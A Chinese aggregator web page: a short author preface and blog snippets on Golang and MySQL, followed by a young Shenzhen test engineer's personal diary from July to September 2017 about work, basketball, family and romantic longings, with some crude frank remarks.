或许，我于世界与知识，是一位贪心者。《心智三部曲》向GEB致敬；《文心书话》写在平克的《风格感觉》（the sense of style）之前；《黑暗三部曲》向阿西莫夫与《银河英雄传》致敬，旗下的安人心智公司向Deepmind与保罗.巴赫-利塔（Paul Bach-y-Rita）致敬。我更希望成为平克、哈萨比斯(Demis Hassabis)，但命运偶尔会将你推向布罗克曼的位置。以一位创作者姿态，向那些曾经感动过你的人，也许就是人类一代又一代知识传承的觅母吧。九败一胜，行进的路径，曲曲折折，进步时欢然，退步时淡然。
这也许就是人生与命运的真相吧。
热情地创造，无论胜败。即使行进的路径，曲曲折折，进步时欢然，退步时淡然——这也许就是人生与命运的真相吧。
阳志平
2017-08-06 - 博客 Jiajun的编程随想 2017-07-27 08:00:00《Golang Map 源码阅读与分析》我们知道哈希表解决冲突一般要么是开放定址法，要么是再哈希法。Golang采用的是第一种，但是实现上和教科书式的实现方式不同。这也是很有趣的一个东西，就像之前看Python的 [deque](https://github.com/jiajunhuang/blog/blob/master/articles/2017_01_06-collections_source_code.md#deque) 一样，和教科书不一样，非常高效的实现方式...
- 博客 Jiajun的编程随想 2017-07-26 08:00:00《MySQL 零碎知识 - MySQL必知必会》> 重读《MySQL必知必会》- `DISTINCT` 作用于其后面的所有列...
- 博客 Jiajun的编程随想 2017-07-18 08:00:00《Golang slice 源码阅读与分析》翻Golang代码：```go...
- 博客 庭说 2017-07-17 00:00:00
我蹲在秘密花园里，自言自语。
2017
2017-07
2017-07-17
突然的自我，突然就想开个博客。
明天就要去石岩上班了，没有特别期待的心情。上一份工作并没有带给我特别愉快的经历，又如何，这就是社会吧，总要接受它的考验。累了，就写这么多，但愿睡得着。
2017-07-18
满怀期待地去上班，拖着湿嗒嗒的身体回来。开始怀疑自己的职业选择，不对，我一直都在找职业的方向，一个值得奋斗一生的事业。然而，哪有这么容易。这种悲观的无力感持续一段时间了，挺享受这种痛苦的过程，就像享受失恋带给我的忧伤，听情歌特别有味道，那种代入感让我痴迷。我是不是有受虐倾向的 M？。
说到底还是学生时代太安逸，一出来被生活打趴了，就怂了。但是我真的不知道我能做什么？哈哈，迷茫的 23 岁。不过，我知道有些事我不能做，即使是工作，也要守住底线。但是，营利是商业的目的，向钱看是它的基本属性，不作恶的良心企业，哪里寻？也许过几年，我穷疯了，就会视金钱如金钱了。
发现自己颠来倒去，就那么几个单调句式：但是、还是、所以、也许、这、那、的、地、得……写不出美感，我的写作之路，还很长。别灰心，一开始都写得很糟糕。
突然发现几个月前的日记，坚持了几天就放弃了，这次能坚持多久？
2017-02-29：吹风机
- 每当我洗完澡，准备拿起吹风机的时候，老哥都会不耐烦的埋怨：「头发那么短，有什么好吹的，而且多伤发啊！」要是从前，我定会反驳，现在平静了，无声的沉默就是我最大的反抗。不渴求人与人之间的理解，「相爱总是简单，相处太难」，何苦跟亲人争得面红耳赤呢？一起相处的时间不会太多，不如闭嘴，让感动常在，晚安。
2017-03-20：地铁美景给我安慰
- 新的一周，天晴的午后，再次踏上求职之旅。不同的是，坐在深圳地铁里，窗外是海天一色的碧海湾，突然，连车厢里广告变得悦耳。
2017-03-30：上班第一天
- 心情像山丘一样起伏不定。昨晚兴奋得睡不着，失眠到 3 点，期待第一份工作带给我全新的生命体验。早上 9 点上班，8 点 20 分我就到了，生怕迟到给老板留下不好的印象。当我接触到工作内容之后，兴趣却陡然丧失。我对「外贸」行业竟提不起好奇心，我那颗勃起的好奇心去哪了？心里不是滋味，身体尽是疲惫。自己选择的路，跪着也要走完。
2017-03-31：两杯白酒
- 来公司第二天，没干什么活。晚上部门聚餐，有点尴尬，不敢说话，吞了两杯白酒，辣肠子。没有不良反应，清醒地坐着地铁回家。又是流水账，我几时才能写出一个有趣的故事？
2017-04-01：东中 104 校庆
- 对学校并没有太多的归属感，爱校情绪没有泛滥到转发校庆推文。集体的狂欢，让我感到乏味。实行硬式教育的学校，能带给我多少心智上的改变？是否有自由发展的可能？以及我被社会同化的速度有多快？
最后说一句，鞋子湿了真的很难受，宛如踩在蚂蚁堆里。明天要六点起床，哭。晚年，少年。
2017-07-19
看技术文档《电力用户用电信息采集系统通信协议》看得神情恍惚，读了十个字就忘了五个字。大学玩乐惯了，挺难收回来的。加油吧，小伙子。
看了一天，好像没那么讨厌这份枯燥的技术，总比写那么夸张的文案踏实。
博客日志想写就写，不想写就玩手机去了。自己的地盘，自由点好。懒！
2017-07-20
6 点起床，10 点开始就开始打瞌睡了，可恶的是，摄像头就在我身后。还有，11 点也开始饿了。
一直住在老哥家，也怪不好意思的。明天看看公司宿舍的氛围如何，好的话，就住着试试。不过宿舍网络又是一个问题。说到底，都是 Money 的问题。
2017-07-21
周六上午要开会，计划全乱。早上吃了一个小肉包和鸡蛋，十点半就开始饿了。
2017-07-22
刚看完两集《中国有嘻哈》，不如来一段 Rap，我也是押韵爱好者：明天搬到公司宿舍住，以后饭菜会很素。人生慢慢不能耍酷，但也不能感到厌恶，总会找到自己的路，跟着台风，燥起来，Yeah。
2017-07-23
今天搬到公司宿舍。第一件事就是把宿舍洗刷干净。刷完，心情也跟着明净了许多。
宿舍楼下有个篮球场，希望能结识有趣的球友，打掉无聊，挥洒热汗。
有一个来自陕西的舍友，已经 65 岁高龄了，老当益壮，精神可嘉。
2017-07-24
糟糕的生活，胡乱的日记。
户口办理得异常顺利，竟然一天就搞定了，感谢大姐亲历而为。
办理工商银行卡，用户体验让人不愉悦：
- 五千以上转账需要认证密码器
- 被推销了三个 App
- 服务态度一般
还是办理平安银行的时候顺心，哪有这么多幺蛾子。
睡前鸡汤：认清生活之后，依然要学会热爱生活。
22:402017-07-25
渐入佳境
做了一天的集中器脉冲群电磁兼容试验，比看密密麻麻的技术文档有趣多了。
有一个念头一直萦绕在心头：我是否适合从事技术类工作？短期是得不到答案的，用心去做就对了。
22:352017-07-26
柳暗花明
宿舍开通网络，预付 600 块（半年、不支持退款）才 12 Mb，真想爆一句：MMB。
还好笔记本可以连接公司的 Wi-Fi，明天试一试。
23:592017-07-27
期待周末
今天还是没有解决网络的问题，气死我了。
职业路不确定，缺少人生方向，反正就是烦心事不少，急需周末放松一下。
23:062017-07-28
过来带外甥（二姐的儿子），昨晚就忘记写日记了。
龙华谭罗村应该是我对深圳最初的记忆，也是我来深圳的第一站，那个时候是初中。一切没怎么变，不过街道变整洁了，地铁开始建了，外甥上六年级了。而我，还是那个二十多岁依然可以和外甥嬉闹的老小孩。
23:592017-07-29
骄阳似火，夏天三件宝：Wi-Fi 空调西瓜。
2017-07-30
肉隐肉现的夏季，按摩着男性的睾丸，使之分泌更多的雄性荷尔蒙，由内而外散发出想要交配的动物本能。生而为人，我根本无法控制这些龌龊的想法。
2017-07-31
上班第三周，依然状态不佳。
- 糊里糊涂地选择一个测试工程师的岗位，到现在还是提不起兴趣
- 糊里糊涂地跟着同学办理了深户，很多人都说农村户口珍贵
- 糊里糊涂地打了这么多年篮球，球技依旧没有长进
- 糊里糊涂地谈了一场恋爱
- 糊里糊涂地分手
我时常怨恨无能的自己，书没读好，兴趣没发展好，人长得也不好，贪玩，不想长大，不想承担责任，这样下去很不好。但是我又确信，生活会慢慢变好。
《喜剧之王》有一个经典片段，每看一遍，心都会酸一遍：
有人明明心灰意冷，却还是要佯装如常地说上一句“谢谢老板”，有人明明一贫如洗，却还是要声嘶力竭地喊上一句“我养你啊”。他翻破家底也没拿出手的那本斯坦尼斯拉夫斯基的《演员的自我修养》，最后被她顺手带走。坐在车上，她把那些充当嫖资的东西都藏进包里，手里只抱着那本书，哭得不成样子。
23:02公司的工资组成很鸡贼。全勤奖不是奖，是属于工资的一部分（5%）。请假一天全勤奖扣一半，两天全扣。举个例子：
- 假设你工资有一万，全勤奖是 10000 × 5% = 500
- 假设这个月上了 22 天班，日薪是 （10000 - 500）÷ 22 ≈ 432
- 假设你请了一天假，要扣（500 / 2）+ 432 ≈ 681
- 假设你请了两天假，要扣 500+ 432 ≈ 932
2017-08
2017-08-01
七上八下
微信端抢了这么久，电脑端一下子就抢到了。坑哔的京东！忍了这个烂手机这么久，终于可以换了，只是无缘今年的 iPhone 8 了。
一想到下午就能用上小米 6 了，就兴奋得无法午休，这种心态也是够屌丝的。
13:342017-08-02
玩去了，没写。
2017-08-03
洗澡匆匆：每天洗澡都会用洗发露，但是只有在出汗的时候才会用沐浴露。
23:502017-08-04
对象空空：老妈子开始给我介绍对象了。说同村的一个姑娘也在深圳上班，抱怨无聊，刚好离我不远。不过我记得前不久她领证了，结束了五年爱情长跑，祝福 Ta 们。老妈子看着我从她朋友圈挖来的领证合照，笑而不语。也许心想：煮熟的天鹅飞走了。
2017-08-05
前路茫茫。
跟两个外甥玩，自己像是个老小孩（刚看完《中国有嘻哈》，落笔韵脚随口就是押，挖槽，这句又押了）。自己小时候没玩够，不想长大。
看完《战狼 2》，心里没什么想和（hè），过过眼瘾罢了，期待明天的《大护法》。
朋友圈想展示一下近况，选好了照片，还是点了退出。当前的状态不好不坏，不高不低，就这样走过了学生时代，慢慢接受社会的「伤害」。一边悲观厌世，一边对未来的幻想难以抗拒，Peace。
02:202017-08-06
欲望繁忙：夏天，放大了人的欲望。燥热的心，烦不胜烦，谁来将息。不管怎样，早睡很重要。11 点之前放手机。
23:012017-08-07
是谁拆了篮球场，多么明媚的忧伤。
我有两项喜欢的手部运动：
- 一个是打**
- 一个是打篮球
一个周末不见，宿舍楼下的篮球场居然被拆了，画上了新鲜雪白的停车线。You know，我新买的篮球还没来得及好好和粗暴的水泥地板亲热，实在不甘心，于是我风风火火地骑着摩拜去周边寻找新的战场。预料之中，无功而返，要么不让进，要么不敢进。
注：工作日车子一般七点多才从篮球场开走，不过那时已经天黑了。但是现在连摸着昏暗路灯打球的机会都没了。
我的大姐也开始写日志了，并且把它分享在家人群。如同我一样，心中的话不知道说给谁听，唯有拿起我的小笔头，写给自己和想看的人听。
致自己：
起早摸黑，忙忙碌碌，
就这样一天一天地过着重复的生活…
你会发现，只会有人问你挣多少钱？
却很少有人问你累不累？开不开心？
生活就是这样，
别人只看结果，自己独撑过程。
有时你会觉得莫名的累，身累？心累？
但所有的累只能一笑而过…
仔细的想想，
其实人活着真的不简单。
每一天都会发生你想不到的事情，
有高兴的、有生气的、
有无奈的、有伤心的、
有哭笑不得的，有解释不清的……
不管是什么样的事儿，
都是对你的一种挑战 ！00:072017-08-08
找到新的篮球场。
今天公司午餐有麻婆豆腐和酸豆角炒肉末，但是只能二选一：
- 酸豆角：腌制食品，高盐，但能使这顿午餐更有风味
- 豆腐：补充蛋白质和钙，但是我从小就不喜欢吃豆腐，软塌塌的
出于营养均衡的考虑，我选择了豆腐。为什么要为难自己，因为身体健康重于泰山。
昨晚线下没找到篮球场，今天下班试着在微信上搜索「石岩 + 篮球场」，没想到真的有，不过是在四公里外的料坑村。
去往料坑球场的路不大，却专门用铁栅栏隔出一条自行车道，这样的好处是，单车时速最高可达 27 公里。球场还不错，就是今晚开灯的人没来。
怎么才能把日常琐事写得引人入胜？我需要更多的练笔。
00:012017-08-09
想和朋友去旅行：最近朋友圈看到好多同学都去毕业旅行了，说不上羡慕，也谈不上反感。或许只是换个地方玩手机，或许是为了拍好看的照片在朋友圈 show off（自己又何尝不是）……总之，现代人已经很难对旅游全身心。
可是，三五好友，出去走走，不必期望路上有奇遇记，不着急去每个景点打卡，不后悔被商贩坑，不患得患失，此行不必有所得，跟着感觉出发，去见自己的内心，这样就十分美好。
00:212017-08-10
朋友圈是个圈。
鼓起勇气在朋友圈分享了一篇文章，并配上了这么一段话：
「我们呼吸的空气是由氮气、氧气和广告组成的。」
写了两个月商业文案（硬广 + 软广），最终草草离职。广告，可以夸张但不能欺骗，这是文字工作者应有的底线。一位朋友评论说：如果你成为广告人，你就知道广告是什么。所谓文字工作者应有的底线只是矫情罢（了）。
无可否认，我矫情得很。朋友圈展示的都不是我自己，那是我在朋友圈的第二个人格。圈中的这个人幽默风雅，知识渊博（我呸），拍个照片还要修个半天。
所以在朋友圈说的这个辞职理由牵强的很。我不是一个强大的写手，无法在夸张与欺骗之间拿捏好尺度。一个好的广告文案，是可以做到直指人心，给人无限共鸣。不幸的是，我没有遇到好的公司，自己也不够努力。
朋友圈是个圈，人生是个更大的圈，非常容易陷入自我的怪圈。写文章就是自我检讨（吹牛逼）的过程，即见自己。然后见天地，最后见众生。
23:552018-08-11
飞向哪里？
一下子就连续写了 26 天了，时间真是一个可怕的东西。如果不珍惜，很快就会和同龄人拉开差距。不对，差距早已经存在：
- 出国深造的同学
- 勇敢北漂的同学
- 潜心学医的同学
- 月入过万的同学
- 追逐梦想的同学
- ……
看到他们的朋友圈，我就不免自卑。当然 Ta 们一样有数不尽的烦恼，只是比我飞得更高。糟糕，我还没找到翱翔的方向标，只好暂且解决肚子的温饱。
23:542017-08-12
空调 WiFi 嘻哈：又是一个伴随着《中国有嘻哈》的熬夜，上次这么认真看音乐选秀还是高中那会的《中国好声音》。眼睛好累，就此先睡。
02:112017-08-13
强大的家族：这个周末，姐弟们相约深圳沙井，大人小孩加起来总共有十四人，济济一堂，可热闹了。庆幸自己一路走来，有姐姐哥哥们的庇护，唯有督促自己当一个称职舅舅和叔叔，给外甥侄子门带来更多的欢乐。
00:552017-08-14
第二份工作的第二个月。
周末嗨太晚，周一上班 10 点就犯困了。
10:00本想把上周的日记发布在公众号上，想了想还是算了，有种难以名状的羞耻感。
2017-08-15
原来隔壁的工业园就有个漂亮的篮球场，当时我以为员工才能进去。怪自己放不下面子，不敢问保安叔叔。机会不多，错过就不再，此类事情，不必多虑，该出手时就出手。
00:082017-08-16
笼中困兽：在没有找到方向之前，感觉人生是个牢笼，养着名叫「自我」的怪兽，对工作发困，对手机发困。
23:082017-08-17
穿上新的运动鞋，身体变得轻盈了许多，生怕下脚太重，磨坏了鞋底。
10:28每天下班都能去隔壁工业园打球，就特别满足，小镇青年没啥太大欲望。
23:412017-08-18
无形的压力：这个年纪，不大不小，没有婚姻和家庭的压力，唯独缺少的是阅历和奋斗的勇气。
00:092017-08-19
昨天下午带外甥去游泳，累趴了，忘写了。
21:032017-08-20
二姐在五金厂上班，也住在厂里面。她说厂里面的自来水是从羊台山接下来的，听到的时候我特别吃惊，心里一阵艳羡。在城市里想要喝山泉水，市民一般要拿着瓶子翻山越岭地扛下来，好不容易。
我已经毕业出来工作了，依然可以像学生时代一样，在二姐「狭小的」出租屋或厂房宿舍里没心没肺地胡吃海塞，却不感觉拥挤。
大部分都在追求大房子，可是住在大房子里的人，心房都不大，其乐不融。可能我接触的大房子不够多，才得出这样狭窄的结论。
公车上来了一个面容姣好的青春女子，带着大眼镜，柔顺的长发。当听到她和我同一个站下车的时候，我竟希望下车后能和她发生点什么。呸，龌龊的妄念。
21:272017-08-21
不痛不痒的工作，没心没肺的玩乐。
想写点东西练练笔，无奈困意难抵挡。
00:002017-08-22
纪录片《三十二》讲述了慰安妇韦绍兰和她儿子罗善学的故事。看完之后百味杂陈，想起了自己小时候在泥砖房下的生活，也想起了我的外婆。悲惨的故事，存在世界的每个角落，一些被人发现，一些消失了。更悲观的讲，这样的故事对人的触动不会存留太久，几个钟过后，拿起手机刷段子的时候，我们一样会笑得很开心。
片中有一句话我很喜欢：「这世界真好，吃野东西都要留出这条命来看。」
21:262017-08-23
11 岁的外甥，让我的二姐很是头疼。上课听一半，小聪明不断；作业写一半，王者我最帅。
周末几次过去检查外甥的作业，发现审题特别不认真，一味地求快。脑袋瓜子巧，但是细心也不能少。
跟外甥讲道理，这个年纪怎会领悟，只好尽情地陪他玩耍，毕竟童年的快乐就这么几年光景。
23:222017-08-24
6 点下了班就去打球，打到 10 点多，满足极了。舍友老董（65 岁）总是说我：全公司就你最潇洒，下了班拍拍屁股，背个篮球健步如飞，奔向球场。
是啊，这样的生活多自在。但这样的好日子很快就会被婚姻、家庭和财务自由的目标所打散。别想太多，享受里个 Moment 就对了。
23:042017-08-25
周五后，照常去二姐家蹭吃蹭喝。
2017-08-26
外甥练书法，我在旁边的书城看《追风筝的人》。手机玩多了，阅读的沉浸感并不强。但得培养阅读长篇的能力，抵御碎片化阅读带来的浮躁。
2017-08-27
对于生活，二姐从不将就：
- 西瓜放冰箱前要洗干净
- 隔三差五的洗衣晒被
- 煮饭混杂粗粮（小米）
- 水果蔬菜放肆买
- ……
加强运动，二姐这生活算是健康完满了。
21:512017-08-28
没有情人的情人节
一个人的情人节，不开心也不灰心。相爱容易，相处太难，灵魂伴侣，可遇可不可求。照这样的心态，结果之一，就是草草把婚结了；之二，就是用不婚主义反抗世俗，自己过，人生潇洒走一回。
但是，对恋爱持悲观态度的我，又常常忍不住对美好爱情的向往：
我和张大状结婚时，罗胖传授经验说：“日常生活中一定要有一个只属于彼此的特定的仪式，哪怕只是彼此挤个牙膏。”这是我结婚到目前为止收到的最佳建议。我们家的仪式，是每天晚上睡前一起刷一部美剧，一刷泯恩仇。——脱不花
23:362017-08-29
从下午六点半到晚上十点半就没赢过，这篮球打得太失败了。想突破，怕崴到脚。拿手的跳投又不准，真是日了狗了。
22:482017-08-30
八点起床，八点十五分去吃早餐（钟意吃），八点半打卡上班。
十二点十二分去吃午餐（难吃、辣），吃完回来午休。
下午一点四十起床，顺便叫醒同一层楼的同事，因为闹钟闹不醒他。
六点下班吃晚餐（难吃、辣），吃完换上球鞋球裤，去隔壁的工业园打球。
几个钟后湿漉漉的回到宿舍，虽然一身臭汗，但不想洗澡，玩一会手机，喝一瓶牛奶，然后不情愿地去冲凉，一边洗澡，一边洗衣服。
刷牙，玩手机，写日记，睡觉。
一天就这样过了，没有波澜，平平淡淡，挺好的。
说得好听是闲适，说得不好听是颓。
22:572017-08-31
一听到「八月再见，九月你好」，我就头皮发麻。这种迭代的话语，听腻了，矫情极了。扪心自问，活了这么多年，哪个月好过。有时候知足者常乐，有时候不知足才能进步。
岁月不可歇，掐指一算，毕业已经两个月，有一句话我憋了很久了，今晚我要大声地念出来：「学校再见，社会你好」。
23:542017-09
2017-09-01
和七岁的外甥一起用积木搭建「我的世界」，完全不觉得自己已经是二十三的老男孩了。新奇玩具，总是让我着迷。
00:342017-09-02
看得过瘾，不过眼镜好累。
01:432017-09-03
周末过来陪外甥玩耍，一个七岁，一个两岁。尽力去捕捉他们的童年欢乐时刻。小孩子要长大，真的很快，不留下点什么，这人生未免太过悲凉。
突发奇想给他们拍了一些在绿茵场上的慢动作视频，剪辑在一起，发现还不错。照片和影像，一个都不能差。
作为老男孩的我，还能这样玩多久，不去规划未来，下班打篮球，周末带外甥，还一口气在 TapTap 下载了 18 个游戏（公司和宿舍没有 Wi-Fi），堕落了……But, just enjoy 里个 moment.
00:312017-09-04
《崩坏3》是一款手机上的 3D 动作游戏，二次元美少女风格（可调戏），下班后我一口气玩了好几个钟，真痛快。慢慢得节制起来，要做的事情不少，要学的东西很多。嗯，杀一盘睡觉。
23:47- 您必须年满 17 周岁才能下载此 App
- 偶尔/轻微的色情内容或裸露
- 频繁/强烈的成人/性暗示题材
- 频繁/强烈的卡通或幻想暴力
- 频繁/强烈的惊悚/恐怖题材
- 偶尔/轻微的现实暴力
- 频繁/强烈的亵渎或低俗幽默
- 偶尔/轻微的模拟赌博
- —— App Store
2017-09-05
一闻到柴火的味道，就泛起了思乡的情绪。
12:18我这么可以这么堕落，游戏只能玩半个小时，对，就这样决定了。
00:182017-09-06
Target Unlocked：日子一天天过去，缺少明晰的奋斗目标。一边害怕平庸，一边沉迷游戏。
23:172017-09-07
“她是我的大学同学，家也在辽宁，我们俩从大一下学期开始谈，谈了三年半。毕业找工作时，她想留在辽宁，图个安稳，我想出来闯一闯，开阔一下眼界。我们俩谁也没说服谁，她留在辽宁，我去了北京。异地恋半年，她跟我分手了。分手这半年，我身边也有可以选择的对象，但工作以后接触的人不一样了，我的想法也有了些变化。我现在暂时不想再谈恋爱了，我想趁着年轻先多些积累，等有了一定的事业基础、物质基础，再考虑感情的事。”——微博「人在深圳」
23:312017-09-08
讨厌朋友圈不回复评论的人，屏蔽系统重新启动。
23:442017-09-09
完全没有想到九岁的侄女璨宁（三年级）会对我这个怪叔叔亲热到这个程度：投怀送抱，百般粘人。这让我感到非常的尴尬，但这是她童心未泯的时候，守护好这一份纯真。
《中国有嘻哈》追了三个月，第一季终于完结，完全没有想到，居然是双冠军。12 集看下来，对孙八一的商务说唱颇有感觉。这个节目带给我一个很 Cool 的词：Keep Real。
02:102017-09-10
外甥已经上六年级了，他的妈妈，也是我的二姐，居然要检查他的手机，美其名曰，父母对孩子具有「检察权」。
隐私，是基本人权，是不可侵犯的。纵然如此，我也不能插手二姐的「家事」。不经历重大变故，很难改变一个人的的观念。说服，并非是三言两语的事。
所以，我选择做一个缩头乌龟，让外甥自己去化解矛盾，有冲突，才有改变，但愿是好的改变。
20:39现在说说成年人的隐私：我的舍友（65 岁）洗完澡穿衣服的时候不关门，还被我亲眼看到，幸好生殖器没看清楚。不过，看清楚还得了。不行了，我的心情现在很复杂。
22:322017-09-11
Make me flip：对异性产生的吸引力，是我表达的生产力。这周的我，宛如神笔马良，随时随地，字符都在跳动。停笔的那一刻，我看到一个油腻的老男孩跃然纸上。
说个段子：单身久了。今天坐公交，一个女孩蹭了我肩膀一下，那一刻，我连我们的孩子取什么名字，在哪上学都想好了。
00:48公司的 YYL 姑娘是个大美女，比我高，比我瘦，但是不在一个办公室。
我与她最近的距离只有 2.00 公尺，一墙之隔，还是玻璃墙，但是我都不敢正面对视她，更别提搭讪这种会引发心脏爆裂的行为艺术。所谓至美之物，只可远观。
今天下午开表彰大会，同去路上，她率先破冰了：「你也要去啊？」，我没有听错，这是我们之间的第一次对话。我的回答非常克制，只有两个字：「是啊。」这样的临场发挥不能说满意，却展现了当事人老道沉稳的言行举止，其实血压早已爆表，肾上腺素早已爆浆。
肾上腺素是由人体分泌出的一种激素。当人经历某些刺激（例如兴奋，恐惧，紧张等）分泌出这种化学物质，能让人呼吸加快（提供大量氧气），心跳与血液流动加速，瞳孔放大，为身体活动提供更多能量，使反应更加快速。——百度百科
肾上腺素用于治疗多种病症，包括：心脏骤停，过敏反应和利用其血管收缩功能以阻止表浅性出血。——维基百科
单身久了，妄念会像韭菜一样疯长。我尝试记录那一刻的心情，没有 Why（Y），没有爱不爱，这是一种收到心仪异性的关注而产生的动物本能，大家都有。
这样瞬间不多，所以我想用文字去定格那一刻的怦然心动，因为美好的东西值得留念（真能给自己加戏）。
00:092017-09-12
开伞、撑伞、收伞及整理雨伞对我来说实在太麻烦了，我还要为雨伞腾出一只手，所以我下大雨才会撑伞，小雨懒得撑，湿哒哒的不好存放。
雨伞带一个雨字，主要功能是避雨，因此多大的太阳我都不会亮出我的雨伞，男孩子在晴天打伞不会特别的娘吗？当然，我也不明白女孩们阴天要打伞，只是晒几秒钟也要打伞，我觉得她们很矫情。
- 适量晒太阳，帮助身体合成维生素 D 的功能，维生素 D 能促进人体对钙的吸收
- 过量的紫外线（阴天也有）会让令皮肤提前衰老，引起皱纹，还会变黑。我就是一个活生生的例子，年纪轻轻，笑起来皱纹比我爸妈的还多
从古到今，颜值有理。钙可以通过食补，晒老了、晒黑了、晒皱了就很难补回来。当前社会的审美更青睐皮肤白嫩的女孩子，不见阳光的肉体才会人见人爱，包括我自己，。而且颜值本来就是一种竞争力，谁不喜欢美女帅哥？
我一面喜欢皮肤白皙的美女，一面觉得她们动不动就打伞的行为实在没必要。太阳「毒」，我的这种想法更「毒」。
09:51强忍睡意，看了一篇关于 GAI 的长篇《人物》报导，从地下爬到地上，妥协与存真在交替上演。
00:372017-09-13
买了一瓶哑光质感造型发泥（85 g，¥29.9）。学着打扮，不要等交到女朋友再学，清爽的发型，一定是加分项。
买了一套篮球服（100% 聚酯纤维，¥ 99）。纯棉的 T 恤容易吸汗，如果不及时更换，旁人会「敬你三分」。
汗本身并无气味，但当汗液与皮肤表面的细菌混合后便会产生浓烈的臭味。
顺便买了一瓶洗衣液，让衣服带着薰衣草的香味，你会更平易近人。
还买了一个床上的折叠笔记本电脑桌，少玩手机少玩游戏，多在电脑上提升自我：
- 写文章
- 认真看电影（偶尔）
- 学习 Photoshop
- 畅游互联网，释放好奇心
- ……
00:44
2017-09-14
今天身体抱恙：
- 感冒流鼻涕
- 耳朵闷闷的
- 口腔多处溃疡
但是公司的 JYF 姑娘也主动和我说话了，挺开心的。不敢接近她，又偷偷关注她，我很喜欢这种状态，朦胧地让人心醉。这个年龄的小火鸡，自作多情是一种常态。
22:532017-09-15
入职 60 天，第一次在公司度过周末，以前每到周末都去带外甥们。
宿舍无聊，我开始找 JYF 姑娘尬聊（撩）。当我得知他的男友也在深圳的时候，我并没有感到失望。漂亮的女孩子，不缺男朋友。
因为 J 姑娘有另一半了，所以我跟她交流的时候并不会有太多的顾忌。如果她单身，我的言辞可能会不自觉地带上伪装的戏份，企图在她面前呈现出一个更完美的我。
聊到一半的时候，她居然说我们已经是「熟人」了，有好看的书记得推荐给她。这让我百思不得其解，在此之前，我们见面都是不打招呼的。Amazing。
美丽的姑娘总是撬动着老男孩的心，这是异性相吸的自然法则，亦是万古一瞬中，璀璨的人类文明。因为除了繁衍之外，人类比其他生物拥有更丰富更揪心的情感体验。爱情如此多娇，引无数情男痴女尽折腰。
01:10这个话题的更多思考，可以参阅我之前我在公众号写的一篇文章：为什么喜欢年轻漂亮的姑娘？
有些失眠有理由，有些失眠莫须有。脑袋的想法很多，如何有序地执行，一团乱麻。
02:34修改了微信的个性签名：Keep It Real。
03:192017-09-16
每天四点一线的生活：办公室 - 宿舍 - 饭堂 - 篮球场。平淡中带着满足，满足中透露着不甘，不甘栖息于小地方，不甘没能在科技互联网公司上班。
18:32昨晚失眠，两腿发虚，今天投球命中率直线下降。打了这么多年球，新的球友说我是个纯（纯）射手：
- 不会带球（懒的练）
- 不会突破（生怕磕碰受伤）
- 不会传球（错失进攻良机）
- 不会抢板（不敢跳太高，生怕崴到脚）
太失败，怎么办？
20:342017-09-17
刷了牙，发现牛奶没喝完怎么办？把吸管尽可能地深入喉咙，牛奶就不会「污染」牙齿了，一举两得，我真是一个聪明的小伙子。
天杀的，周日的上午居然要上培训课——《如何写研发文档》。讲得比大学老师讲得还催眠，不仅课程内容无大纲，现场没有感染力，更让我难以忍受的是，单位和拼写错漏百出，她没有看出来吗？这样的「教授」审批研发文档，我内心是无法接受的。还发了两张莫名其妙的考卷，题目就不说了，排版太差了。
吃完午饭，遇到同事 ZGM，上前与之搭讪，刚好 GM 要去羊台山底的龙泉体育园游泳，邀我同去，我没有立刻答应。午休期间重新看了蛙泳视频教程，很想实践矫正后的泳姿，遂一同前往体育园。果真学有所成，现在我的水性都可以扬出水花。
GM 是福建人，在湖南上的大学。比我大两岁，比我腼腆，比我长得「干净」，带着一些孩子气，喜欢玩球球大作战。大学期间喜欢赤脚走路，走路的时候自动过滤异性，以前我也这样特立独行，现在是猥琐的目光，大杀四方。
00:282017-09-18
时间过得很快，记忆开始混乱。稍作停笔，那些美好的存在，就不复存在。
一周之计在于晨，这周自然醒得有点早。
06:45上周居然发了 7 条朋友圈，写了 2000 多字的日记。因为我相信文字的力量，孜孜不倦地写下去，量变会引发质变。
生命是什么？生命是一个美好的巧合。是宇宙在奔向熵最大的死寂过程中，为自己创造的观众。by 柴知道：5 分钟泛读科普经典《生命是什么》 - YouTube
19:19花了一上午重新对博客进行了润色。
00:312017-09-19
晚上和同事出去吹风，路过小卖铺，随手拿了一个五羊雪糕，居然是榴莲味的，心花瞬间怒放。
00:292017-09-20
日子依旧，重复又重复：上班 + 打球。
18:38开始接触Ⅰ型集中器的软件功能测试，上手有难度，看着看着就发困，慢慢来，迎难而上。
有一个大学同班同学 CYF 现在还没找到工作，他的室友 JL（也是我大学同班同学）说：「白天睡觉，晚上通宵看小说，一天一顿，生活很是滋润」，一个人居然可以颓成这样子，无欲无求，沉浸在自己的世界，为他捏一把汗。
刚好公司缺一个「仪器设备管理员」，希望经理能给他一个面试机会，YF 也能好好准备这次面试。
00:102017-09-21
今天工作特别有激情。同事对不耻下问的我应该烦不胜烦了吧。一同事开玩笑说：「小伙子，有前途，以后可能要跟你混。」我笑而不语，其实当前的我没有什么野心。只要上班氛围好，下班打球早，我就已经挺满足的了，关于升职加薪赚大钱，真没有考虑过。
看了一个「咬手指」的鳄鱼玩具视频，即刻去淘宝下了单（挑了半个钟）。每次去姐姐家都空手，带点小礼物给外甥们，很有必要。
最大的外甥（独生子）上六年级了，数学只考了 75 分。审题过快，不愿检查，粗心大意，这些习惯没那么好改，自己读书也会犯这样的错误。
00:212017-09-22
为何睡得晚，还醒得早。
07:41用文字，肆无忌惮地表达最美好的感动。
08:11困，睡了，不写了。
00:232017-09-23
这是你人生中一个重要的时刻，是你会铭记一生的事情。不仅是你明天和朋友聊天的谈资，如果你以后想起，无论何时回想起来，这件事都会让你嘴角带笑的话，你就去做吧，但如果你并不这么认为或者不太确定，那就忘掉它吧，因为你还有大把的时间。——《完美陌生人》
09:54终于获得《我的世界》中国安卓版的内测资格了。
10:19买了一瓶腋下走珠乳液，赶走狐臭，爽身一夏（已是秋分）。
地铁 11 号线变成了搭讪鹊桥之旅，Slogan 是：「嘿，加个微信呗！」，这是一种冒险的感情投资行为，我不苟同。
12:56一段关系值得留恋，不是因为它能诞生下两个孩子，而是因为在这段时光中两个人可以开心得像两个孩子，如果双方都能够因为这段感情而成长，那就非常刻骨铭心。
好婚姻三原则：
- 是不是能在经济上更稳定和安全；
- 是不是能收获稳定、合法和愉悦的性；
- 是不是能够拥有健康和聪明的子女。
——熊太行
下午和高一老同学 GJL 聚会，他还是老样子，黑不溜秋，不修边幅。不过相比从前，性格收敛了很多，温和了许多。他有一个去远方的梦想，比如台湾，看古村落，感受淳朴的民风。我不一样，周末窝在宿舍，欣赏一部电影，就很享受了。
